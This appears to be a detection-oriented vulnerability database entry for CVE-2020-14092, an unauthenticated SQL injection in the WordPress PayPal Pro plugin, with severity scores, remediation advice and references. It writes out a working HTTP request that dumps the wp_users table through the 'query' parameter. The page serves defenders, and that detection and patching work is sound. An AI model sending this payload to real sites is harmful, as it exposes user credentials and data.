🔙 목록으로 돌아가기

CVE-2020-14092: WordPress PayPal Pro <1.1.65 - SQL Injection

TitleWordPress PayPal Pro <1.1.65 - SQL Injection
Authorprincechaddha
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpdate to the latest version of the WordPress PayPal Pro plugin (1.1.65 or higher) to mitigate the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.85956
CVE IDCVE-2020-14092
CWE IDCWE-89
Tags cve cve2020 wp-plugin sqli paypal wpscan wordpress ithemes vuln

🔍 Vulnerability Description

WordPress PayPal Pro plugin before 1.1.65 is susceptible to SQL injection via the ‘query’ parameter which allows for any unauthenticated user to perform SQL queries with the results output to a web page in JSON format.

🌐 HTTP Request

GET /?cffaction=get_data_from_database&query=SELECT%20*%20from%20wp_users HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-14092.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-14092.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A